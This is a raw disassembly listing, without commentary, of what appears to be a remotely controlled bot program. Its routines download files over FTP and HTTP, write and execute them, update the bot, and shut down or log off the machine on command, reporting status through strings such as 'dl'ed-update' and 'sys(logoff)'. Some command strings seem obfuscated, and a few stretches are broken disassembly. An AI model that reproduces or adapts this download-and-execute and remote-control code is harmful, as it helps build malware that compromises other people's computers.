		mov	byte ptr [edi+91h], 1
		mov	al, [esi+93h]
		mov	[edi+92h], al
		mov	cl, [esi+94h]
		mov	[edi+93h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_41D241:				; CODE XREF: sub_41C6B0+116j
					; sub_41C6B0+295j ...
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_41D2B2:				; CODE XREF: sub_41C6B0+549j
					; sub_41C6B0+AD7j
		mov	ecx, [esp+124h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 114h
		retn	4
sub_41C6B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 310h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D5E0	proc near		; CODE XREF: sub_401B36j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D5E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D5E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_4014B0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D670
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+58h]
		mov	[esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D710	proc near		; CODE XREF: sub_4021C6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D710
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+7Ah]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0D0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D710	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41D7D0:				; CODE XREF: ___:00401168j
					; ___:loc_4019E7j
		push	esi
		mov	esi, ecx
		call	sub_4015C3
		test	byte ptr [esp+8], 1
		jz	short loc_41D7E8
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41D7E8:				; CODE XREF: ___:0041D7DDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D800	proc near		; CODE XREF: sub_4015C3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D800
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E0D0
		lea	ecx, [esi+7Ah]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D800	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41D8D0	proc near		; CODE XREF: sub_401C80j

var_48		= dword	ptr -48h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_44		= byte ptr  48h
arg_10C		= byte ptr  110h
arg_11C		= byte ptr  120h
arg_12C		= byte ptr  130h
arg_110C	= dword	ptr  1110h
arg_1110	= byte ptr  1114h
arg_112C	= dword	ptr  1130h
arg_1134	= dword	ptr  1138h
arg_1144	= byte ptr  1148h
arg_1150	= dword	ptr  1154h

; FUNCTION CHUNK AT 0041DFE8 SIZE 0000001B BYTES

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43B192
		push	eax
		mov	eax, 1158h
		mov	large fs:0, esp
		call	sub_4368D0
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	offset byte_446F20
		lea	edi, [esi+11h]
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DFD5
		lea	ebx, [esi+65h]
		push	offset byte_446F20
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DFD5
		lea	ecx, [esi+26h]
		push	offset byte_446F20
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DFD5
		mov	al, [esi+91h]
		test	al, al
		jz	short loc_41D971
		push	offset byte_446F20
		lea	ecx, [esi+3Bh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41D964
		push	offset byte_446F20
		lea	ecx, [esi+50h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41D971


loc_41D964:				; CODE XREF: sub_41D8D0+81j
		mov	[esp+1Ch+var_8], esi
		lea	eax, [esp+1Ch+var_8]
		jmp	loc_41DFDD
; ---------------------------------------------------------------------------


loc_41D971:				; CODE XREF: sub_41D8D0+70j
					; sub_41D8D0+92j
		push	offset asc_443C4C ; ":"
		lea	ecx, [esp+20h]
		push	1
		push	ecx
		mov	ecx, edi
		call	sub_4016AE
		push	offset byte_446F20
		mov	ecx, eax
		mov	[esp+20h+arg_1150], 0
		call	sub_4012EE
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	short loc_41D9FE
		push	offset asc_443C4C ; ":"
		lea	edx, [esp+20h]
		push	1
		push	edx
		mov	ecx, edi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+1Ch+arg_1150], 1
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jnz	short loc_41DA0F


loc_41D9FE:				; CODE XREF: sub_41D8D0+E3j
		mov	al, [esi+91h]
		neg	al
		sbb	eax, eax
		and	al, 0C5h
		add	eax, 50h
		mov	ebp, eax


loc_41DA0F:				; CODE XREF: sub_41D8D0+12Cj
		push	offset asc_443C4C ; ":"
		lea	ecx, [esp+20h+arg_14]
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_4016AE
		lea	edx, [esp+1Ch+arg_14]
		mov	ecx, edi
		push	edx
		mov	[esp+20h+arg_1150], 2
		call	sub_401FBE
		lea	eax, [esp+1Ch+arg_44]
		push	104h
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	near ptr 2840000h
		nop
		lea	ecx, [esp+28h+arg_38]
		push	ecx
		mov	ecx, ebx
		call	sub_4015D7
		mov	al, [esi+91h]
		test	al, al
		jz	loc_41DBA4
		call	sub_401E06
; ---------------------------------------------------------------------------
		lea	edx, [esp+28h+var_14]
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		call	sub_401A69
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_41DABC
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aFtpBadconnect ;	"ftp(badconnect)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6065
		call	sub_401118
		mov	[esp+28h+var_18], esi
		lea	edx, [esp+28h+var_18]
		jmp	loc_41DFB4
; ---------------------------------------------------------------------------


loc_41DABC:				; CODE XREF: sub_41D8D0+1B7j
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+50h]
		push	eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+3Bh]
		call	sub_4017E4
		push	eax
		call	sub_402243
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DB13
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBadlogin ; "ftp(badlogin)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D6065
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DFB5
; ---------------------------------------------------------------------------


loc_41DB13:				; CODE XREF: sub_41D8D0+20Dj
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpGetting ; "ftp(getting)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D6065
		call	sub_401118
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+26h]
		push	eax
		push	49h
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	sub_4016A9
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41DB92
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBaddl ; "ftp(baddl)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D6065
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DFB5
; ---------------------------------------------------------------------------


loc_41DB92:				; CODE XREF: sub_41D8D0+28Dj
		mov	ecx, [esp+28h+var_14]
		push	ecx
		call	sub_401D52
		add	esp, 4
		jmp	loc_41DE1B
; ---------------------------------------------------------------------------


loc_41DBA4:				; CODE XREF: sub_41D8D0+195j
		lea	ecx, [esp+28h+arg_20]
		call	sub_401424
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+arg_1144], 3
		call	sub_401424
		push	ebp
		mov	ecx, edi
		mov	[esp+2Ch+arg_1144], 4
		call	sub_4017E4
		push	eax
		call	sub_401A8C
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+28h+var_14], ebx
		jnz	short loc_41DC27
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadconnect ; "http(badconnect)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D6065
		call	sub_401118
		lea	ecx, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	ecx
		mov	ecx, offset byte_4E6E8B
		call	sub_40120D
; ---------------------------------------------------------------------------
		db 53h
		db 90h
		db 0E8h, 17h, 0BAh
; ---------------------------------------------------------------------------
		imul	esi, [ecx-17h],	0BEh


loc_41DC27:				; CODE XREF: sub_41D8D0+310j
		push	ebp
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+26h]
		call	sub_4017E4
		push	eax
		lea	edx, [esp+34h+arg_20]
		push	offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+28h+arg_20]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+30h+arg_20]
		call	sub_4017E4
		push	eax
		push	ebx
		nop
		call	near ptr 71AB428Ah
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aHttpGetting ; "http(getting)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6065
		call	sub_401118
		push	offset aWb	; "wb"
		lea	ecx, [esi+65h]
		call	sub_4017E4
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41DD20
		mov	ecx, edi
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadopen ; "http(badopen)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D6065
		call	sub_401118
		lea	ecx, [esp+38h+var_28]
		mov	[esp+38h+var_28], esi
		push	ecx
		mov	ecx, offset byte_4E6E8B
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+38h+var_1C]
		mov	byte ptr [esp+38h+arg_1134], 3
		call	sub_401226
		lea	ecx, [esp+38h+arg_10]
		mov	byte ptr [esp+38h+arg_1134], 2
		call	sub_401226
		lea	ecx, [esp+38h+var_4]
		mov	[esp+38h+arg_1134], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_41DFE8
; ---------------------------------------------------------------------------


loc_41DD20:				; CODE XREF: sub_41D8D0+3DBj
					; sub_41D8D0+484j ...
		mov	eax, [esp+38h+var_24]
		push	0
		lea	edx, [esp+3Ch+arg_12C]
		push	1000h
		push	edx
		push	eax
		call	near ptr 71AB615Ah
		nop
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DD98
		cmp	ebp, 1000h
		jge	short loc_41DD50
		mov	[esp+ebp+48h+arg_11C], 0


loc_41DD50:				; CODE XREF: sub_41D8D0+476j
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DD20


loc_41DD56:				; CODE XREF: sub_41D8D0+4A5j
		push	4
		lea	ecx, [esp+edi+4Ch+arg_11C]
		push	offset asc_443EB0 ; "\r\n\r\n"
		push	ecx
		call	near ptr 77C47A50h
		nop
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DD79
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DD56
		jmp	short loc_41DD20
; ---------------------------------------------------------------------------


loc_41DD79:				; CODE XREF: sub_41D8D0+4A0j
		add	edi, 4
		cmp	edi, ebp
		jge	short loc_41DD98


loc_41DD80:				; CODE XREF: sub_41D8D0+4C6j
		movsx	edx, [esp+edi+48h+arg_11C]
		push	ebx
		push	edx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DD80


loc_41DD98:				; CODE XREF: sub_41D8D0+46Ej
					; sub_41D8D0+4AEj ...
		mov	edi, [esp+48h+var_34]
		push	0
		lea	eax, [esp+4Ch+arg_11C]
		push	1000h
		push	eax
		push	edi
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DDE8
		cmp	ebp, 1000h
		jge	short loc_41DDC8
		mov	[esp+ebp+58h+arg_10C], 0


loc_41DDC8:				; CODE XREF: sub_41D8D0+4EEj
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DD98


loc_41DDCE:				; CODE XREF: sub_41D8D0+514j
		movsx	ecx, [esp+edi+58h+arg_10C]
		push	ebx
		push	ecx
		call	near ptr 77C40E76h
		nop
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DDCE
		jmp	short loc_41DD98
; ---------------------------------------------------------------------------


loc_41DDE8:				; CODE XREF: sub_41D8D0+4E6j
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		push	edi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+5Ch+var_40]
		mov	[esp+5Ch+arg_1110], 3
		call	sub_401226
		lea	ecx, [esp+5Ch+var_10]
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226


loc_41DE1B:				; CODE XREF: sub_41D8D0+2CFj
		mov	al, [esi+90h]
		test	al, al
		jnz	loc_41DEB7
		lea	ebp, [esi+65h]
		mov	ecx, ebp
		call	sub_4017E4
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlDone_S_ ; "dl, done. %s ."
		mov	ecx, edi
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	edx
		push	eax
		push	offset byte_4D6065
		call	sub_401848
		mov	al, [esi+8Fh]
		add	esp, 18h
		test	al, al
		jz	loc_41DFAC
		push	offset byte_446F20
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		call	sub_401299
		add	esp, 8
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		push	offset aOpenS_	; "open	%s."
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 18h
		jmp	loc_41DFAC
; ---------------------------------------------------------------------------


loc_41DEB7:				; CODE XREF: sub_41D8D0+553j
		lea	ebx, [esi+65h]
		mov	ecx, ebx
		call	sub_4017E4
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlEdUpdateS ; "dl'ed-update: %s"
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	eax
		push	ecx
		push	offset byte_4D6065
		call	sub_401848
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		lea	edx, [esp+90h+var_40]
		push	51h
		push	edx
		call	sub_4019B5
		add	esp, 3Ch
		mov	ecx, eax
		mov	[esp+5Ch+arg_1110], 5
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4014D3
		push	eax
		call	sub_402149
		add	esp, 8
		lea	ecx, [esp+5Ch+var_40]
		mov	bl, al
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226
		test	bl, bl
		jz	short loc_41DF87
		mov	al, byte_447886
		test	al, al
		jz	short loc_41DF56
		push	offset dword_447824
		mov	ecx, offset dword_448D60
		call	sub_401447


loc_41DF56:				; CODE XREF: sub_41D8D0+675j
		mov	al, byte_4478CF
		test	al, al
		jz	short loc_41DF6E
		push	offset byte_4478FF
		mov	ecx, offset dword_448D60
		call	sub_401942


loc_41DF6E:				; CODE XREF: sub_41D8D0+68Dj
		mov	ecx, offset dword_448D60
		call	sub_401E5B
		push	1
		mov	byte_4E6E34, 0
		call	near ptr 77C39E7Eh
		nop


loc_41DF87:				; CODE XREF: sub_41D8D0+66Cj
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aExec_error ; "exec.error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6065
		call	sub_401118


loc_41DFAC:				; CODE XREF: sub_41D8D0+597j
					; sub_41D8D0+5E2j
		mov	[esp+60h+var_48], esi
		lea	edx, [esp+60h+var_48]


loc_41DFB4:				; CODE XREF: sub_41D8D0+1E7j
		push	edx


loc_41DFB5:				; CODE XREF: sub_41D8D0+23Ej
					; sub_41D8D0+2BDj
		mov	ecx, offset byte_4E6E8B
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_2C]
		mov	[esp+60h+arg_110C], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_41DFE8
; ---------------------------------------------------------------------------


loc_41DFD5:				; CODE XREF: sub_41D8D0+36j
					; sub_41D8D0+4Dj ...
		mov	[esp+1Ch+var_C], esi
		lea	eax, [esp+1Ch+var_C]


loc_41DFDD:				; CODE XREF: sub_41D8D0+9Cj
		push	eax
		mov	ecx, offset byte_4E6E8B
		call	sub_40120D
sub_41D8D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D8D0


loc_41DFE8:				; CODE XREF: sub_41D8D0+44Bj
					; sub_41D8D0+703j
		mov	ecx, [esp+38h+arg_112C]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1164h
		retn
; END OF FUNCTION CHUNK	FOR sub_41D8D0
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E1E0	proc near		; CODE XREF: sub_401B90j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E1E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	0Fh
		push	0Fh
		push	2
		push	5
		push	12h
		push	4Fh
		push	3
		lea	eax, [esp+64h+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
sub_41E1E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Eh
		push	17h
		push	0Fh
		push	4
		push	14h
		push	15h
		push	8
		push	13h
		push	4Fh
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	6
		push	6
		push	0Fh
		push	7
		push	0Fh
		push	0Ch
		push	4Fh
		push	3
		lea	ecx, [esp+40h]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E360:				; CODE XREF: ___:loc_4010B4j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, ecx
		lea	ebx, [edi+7Eh]
		lea	ecx, [esi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E3BB
		push	offset dword_443FB4
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	cl, [edi+93h]
		push	eax
		mov	al, [edi+94h]
		push	eax
		push	ecx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 14h
		push	0
		push	6
		nop
		call	near ptr 28D03F6h
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E3BB:				; CODE XREF: ___:0041E37Ej
		lea	ecx, [esi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E40A
		push	offset aSysSd	; "sys(sd)"
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	dl, [edi+94h]
		push	eax
		mov	al, [edi+93h]
		push	edx
		push	eax
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 14h
		push	0
		push	5
		call	near ptr 28D03F6h
		nop
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E40A:				; CODE XREF: ___:0041E3CDj
		lea	ecx, [esi+60h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E451
		push	offset aSysLogoff ; "sys(logoff)"
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	cl, [edi+94h]
		mov	dl, [edi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 14h
		push	0
		push	4
		nop
		call	near ptr 28D03F6h


loc_41E451:				; CODE XREF: ___:0041E41Cj
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E4A0	proc near		; CODE XREF: sub_401F5Fj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E4A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+6Ch+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
sub_41E4A0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	ecx, [esp+3Ch]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		mov	dword ptr [esp+40h], 2
		push	esi
		mov	ecx, eax
		call	sub_4017E4
		lea	edx, [esi+8Eh]
		push	eax
		push	edx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+3Ch]
		push	10h
		push	eax
		call	sub_4019B5
		add	esp, 3Ch
